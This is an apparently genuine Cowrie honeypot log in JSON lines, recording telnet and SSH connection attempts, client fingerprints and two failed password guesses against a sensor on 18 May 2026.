{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:17:37.055667Z","src_ip":"103.195.236.96","session":"53e76b3d9b1c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56486,"dst_ip":"10.17.0.5","dst_port":23,"session":"560a3497d318","protocol":"telnet","message":"New connection: 152.42.224.71:56486 (10.17.0.5:23) [session: 560a3497d318]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:17:40.619328Z"}
{"eventid":"cowrie.session.closed","duration":95.02735233306885,"message":"Connection lost after 95 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:17:41.453680Z","src_ip":"152.42.224.71","session":"ed8f70bf1ef7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56494,"dst_ip":"10.17.0.5","dst_port":23,"session":"f9e9d252ca5a","protocol":"telnet","message":"New connection: 152.42.224.71:56494 (10.17.0.5:23) [session: f9e9d252ca5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:17:43.052438Z"}
{"eventid":"cowrie.session.closed","duration":47.036492109298706,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:17:43.086259Z","src_ip":"152.42.224.71","session":"ede1018fcce0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.703781843185425,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:17:43.456506Z","src_ip":"152.42.224.71","session":"a2846eb11f4a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56502,"dst_ip":"10.17.0.5","dst_port":23,"session":"d3c2cba92ccc","protocol":"telnet","message":"New connection: 152.42.224.71:56502 (10.17.0.5:23) [session: d3c2cba92ccc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:17:43.736270Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56518,"dst_ip":"10.17.0.5","dst_port":23,"session":"7932278cbd02","protocol":"telnet","message":"New connection: 152.42.224.71:56518 (10.17.0.5:23) [session: 7932278cbd02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:17:45.285642Z"}
{"eventid":"cowrie.session.closed","duration":48.710386753082275,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:17:47.982364Z","src_ip":"152.42.224.71","session":"ff06adc7c4db","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.85621786117554,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:17:50.182606Z","src_ip":"152.42.224.71","session":"8e3a3f3c8be7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59810,"dst_ip":"10.17.0.5","dst_port":23,"session":"36fb4e5e756c","protocol":"telnet","message":"New connection: 152.42.224.71:59810 (10.17.0.5:23) [session: 36fb4e5e756c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:17:51.168455Z"}
{"eventid":"cowrie.session.closed","duration":120.00137662887573,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:17:51.932926Z","src_ip":"152.42.224.71","session":"c137041a8e88","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00698781013489,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:17:57.931985Z","src_ip":"152.42.224.71","session":"c9b20bc8ff25","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54714,"dst_ip":"10.17.0.5","dst_port":23,"session":"9182b7032c76","protocol":"telnet","message":"New connection: 152.42.224.71:54714 (10.17.0.5:23) [session: 9182b7032c76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:18:00.775871Z"}
{"eventid":"cowrie.session.closed","duration":118.08712100982666,"message":"Connection lost after 118 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:18:05.724245Z","src_ip":"152.42.224.71","session":"12d338a3755d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.197.250","src_port":57908,"dst_ip":"159.203.135.109","dst_port":22,"session":"28e19cd49a94","protocol":"ssh","message":"New connection: 147.45.197.250:57908 (159.203.135.109:22) [session: 28e19cd49a94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:18:05.732931Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:18:05.738411Z","src_ip":"147.45.197.250","session":"28e19cd49a94","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:18:05.830387Z","src_ip":"147.45.197.250","session":"28e19cd49a94","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1233212","message":"login attempt [root/1233212] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:18:06.103428Z","src_ip":"147.45.197.250","session":"28e19cd49a94","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:18:07.197487Z","src_ip":"147.45.197.250","session":"28e19cd49a94","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":55.73524475097656,"message":"Connection lost after 55 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:18:07.826950Z","src_ip":"152.42.224.71","session":"b64eb6848c23","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.28996920585632,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:18:09.086083Z","src_ip":"152.42.224.71","session":"df5c7c3e05f3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39066,"dst_ip":"10.17.0.5","dst_port":23,"session":"2a0ffdae9bfd","protocol":"telnet","message":"New connection: 152.42.224.71:39066 (10.17.0.5:23) [session: 2a0ffdae9bfd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:18:09.991606Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56670,"dst_ip":"10.17.0.5","dst_port":23,"session":"83cd0c2d902c","protocol":"telnet","message":"New connection: 152.42.224.71:56670 (10.17.0.5:23) [session: 83cd0c2d902c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:18:16.486673Z"}
{"eventid":"cowrie.session.closed","duration":53.87003993988037,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:18:21.286584Z","src_ip":"152.42.224.71","session":"1d05ec067069","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":60.55627751350403,"message":"Connection lost after 60 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:18:27.950865Z","src_ip":"152.42.224.71","session":"607fb88a316a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46474,"dst_ip":"10.17.0.5","dst_port":23,"session":"25060e622de0","protocol":"telnet","message":"New connection: 152.42.224.71:46474 (10.17.0.5:23) [session: 25060e622de0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:18:28.944248Z"}
{"eventid":"cowrie.session.closed","duration":46.90679669380188,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:18:29.959104Z","src_ip":"152.42.224.71","session":"f9e9d252ca5a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":50.517115116119385,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:18:31.136303Z","src_ip":"152.42.224.71","session":"560a3497d318","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46476,"dst_ip":"10.17.0.5","dst_port":23,"session":"6330b5a59802","protocol":"telnet","message":"New connection: 152.42.224.71:46476 (10.17.0.5:23) [session: 6330b5a59802]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:18:32.625785Z"}
{"eventid":"cowrie.session.closed","duration":68.50797176361084,"message":"Connection lost after 68 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:18:33.649930Z","src_ip":"152.42.224.71","session":"828ce34c1ca8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.207069873809814,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:18:35.375412Z","src_ip":"152.42.224.71","session":"36fb4e5e756c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":51.55224895477295,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:18:36.837784Z","src_ip":"152.42.224.71","session":"7932278cbd02","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.79051661491394,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:18:41.566275Z","src_ip":"152.42.224.71","session":"9182b7032c76","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":63.257004737854004,"message":"Connection lost after 63 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:18:46.993149Z","src_ip":"152.42.224.71","session":"d3c2cba92ccc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51488,"dst_ip":"10.17.0.5","dst_port":23,"session":"7040bc337d41","protocol":"telnet","message":"New connection: 152.42.224.71:51488 (10.17.0.5:23) [session: 7040bc337d41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:18:47.722361Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51500,"dst_ip":"10.17.0.5","dst_port":23,"session":"93d6bbc4e71b","protocol":"telnet","message":"New connection: 152.42.224.71:51500 (10.17.0.5:23) [session: 93d6bbc4e71b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:18:51.815189Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50558,"dst_ip":"10.17.0.5","dst_port":23,"session":"b80a4500ada0","protocol":"telnet","message":"New connection: 152.42.224.71:50558 (10.17.0.5:23) [session: b80a4500ada0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:18:57.289950Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.218.206.67","src_port":35234,"dst_ip":"159.203.135.109","dst_port":22,"session":"e9362fad7a60","protocol":"ssh","message":"New connection: 216.218.206.67:35234 (159.203.135.109:22) [session: e9362fad7a60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:18:57.688357Z"}
{"eventid":"cowrie.client.version","version":"GET / HTTP/1.1","message":"Remote SSH version: GET / HTTP/1.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:18:57.693097Z","src_ip":"216.218.206.67","session":"e9362fad7a60","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:18:57.696770Z","src_ip":"216.218.206.67","session":"e9362fad7a60","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.22704315185547,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:19:03.171160Z","src_ip":"152.42.224.71","session":"25060e622de0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":53.32346224784851,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:19:03.314979Z","src_ip":"152.42.224.71","session":"2a0ffdae9bfd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.79400897026062,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:19:06.419705Z","src_ip":"152.42.224.71","session":"6330b5a59802","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45552,"dst_ip":"10.17.0.5","dst_port":23,"session":"330f39aee3c2","protocol":"telnet","message":"New connection: 152.42.224.71:45552 (10.17.0.5:23) [session: 330f39aee3c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:19:07.450244Z"}
{"eventid":"cowrie.session.closed","duration":120.00162672996521,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:19:08.183468Z","src_ip":"152.42.224.71","session":"9e1c1fb701dd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45556,"dst_ip":"10.17.0.5","dst_port":23,"session":"ba11384e991c","protocol":"telnet","message":"New connection: 152.42.224.71:45556 (10.17.0.5:23) [session: ba11384e991c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:19:09.082433Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45562,"dst_ip":"10.17.0.5","dst_port":23,"session":"f1e73a011a02","protocol":"telnet","message":"New connection: 152.42.224.71:45562 (10.17.0.5:23) [session: f1e73a011a02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:19:12.319673Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59580,"dst_ip":"10.17.0.5","dst_port":23,"session":"71fbe04254fd","protocol":"telnet","message":"New connection: 152.42.224.71:59580 (10.17.0.5:23) [session: 71fbe04254fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:19:19.430995Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59588,"dst_ip":"10.17.0.5","dst_port":23,"session":"03e50f4f510b","protocol":"telnet","message":"New connection: 152.42.224.71:59588 (10.17.0.5:23) [session: 03e50f4f510b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:19:20.755211Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41148,"dst_ip":"10.17.0.5","dst_port":23,"session":"b9f5a325aad2","protocol":"telnet","message":"New connection: 152.42.224.71:41148 (10.17.0.5:23) [session: b9f5a325aad2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:19:27.401479Z"}
{"eventid":"cowrie.session.closed","duration":40.73813319206238,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:19:32.553202Z","src_ip":"152.42.224.71","session":"93d6bbc4e71b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41162,"dst_ip":"10.17.0.5","dst_port":23,"session":"259874840aa7","protocol":"telnet","message":"New connection: 152.42.224.71:41162 (10.17.0.5:23) [session: 259874840aa7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:19:34.114799Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41164,"dst_ip":"10.17.0.5","dst_port":23,"session":"827593780beb","protocol":"telnet","message":"New connection: 152.42.224.71:41164 (10.17.0.5:23) [session: 827593780beb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:19:35.793104Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":42030,"dst_ip":"10.17.0.5","dst_port":22,"session":"c5cb2b9c4066","protocol":"ssh","message":"New connection: 80.94.92.184:42030 (10.17.0.5:22) [session: c5cb2b9c4066]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:19:44.379190Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:19:44.558343Z","src_ip":"80.94.92.184","session":"c5cb2b9c4066","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:19:44.564505Z","src_ip":"80.94.92.184","session":"c5cb2b9c4066","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":57.12885284423828,"message":"Connection lost after 57 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:19:44.851058Z","src_ip":"152.42.224.71","session":"7040bc337d41","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.381696224212646,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:19:46.496367Z","src_ip":"152.42.224.71","session":"259874840aa7","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"solv","password":"validator","message":"login attempt [solv/validator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:19:46.583640Z","src_ip":"80.94.92.184","session":"c5cb2b9c4066","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.4","message":"Connection lost after 3.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:19:47.749767Z","src_ip":"80.94.92.184","session":"c5cb2b9c4066","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.03873562812805,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:19:48.121046Z","src_ip":"152.42.224.71","session":"ba11384e991c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42722,"dst_ip":"10.17.0.5","dst_port":23,"session":"23650af1406a","protocol":"telnet","message":"New connection: 152.42.224.71:42722 (10.17.0.5:23) [session: 23650af1406a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:19:51.863785Z"}
{"eventid":"cowrie.session.closed","duration":40.431023836135864,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:19:52.750535Z","src_ip":"152.42.224.71","session":"f1e73a011a02","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":54.1419095993042,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:20:01.591966Z","src_ip":"152.42.224.71","session":"330f39aee3c2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"120.1.87.115","src_port":43614,"dst_ip":"10.17.0.5","dst_port":22,"session":"7a15ccb1ef0c","protocol":"ssh","message":"New connection: 120.1.87.115:43614 (10.17.0.5:22) [session: 7a15ccb1ef0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:20:03.075015Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:20:03.085626Z","src_ip":"120.1.87.115","session":"7a15ccb1ef0c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:20:03.313202Z","src_ip":"120.1.87.115","session":"7a15ccb1ef0c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":66.0778865814209,"message":"Connection lost after 66 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:20:03.367718Z","src_ip":"152.42.224.71","session":"b80a4500ada0","protocol":"telnet"}
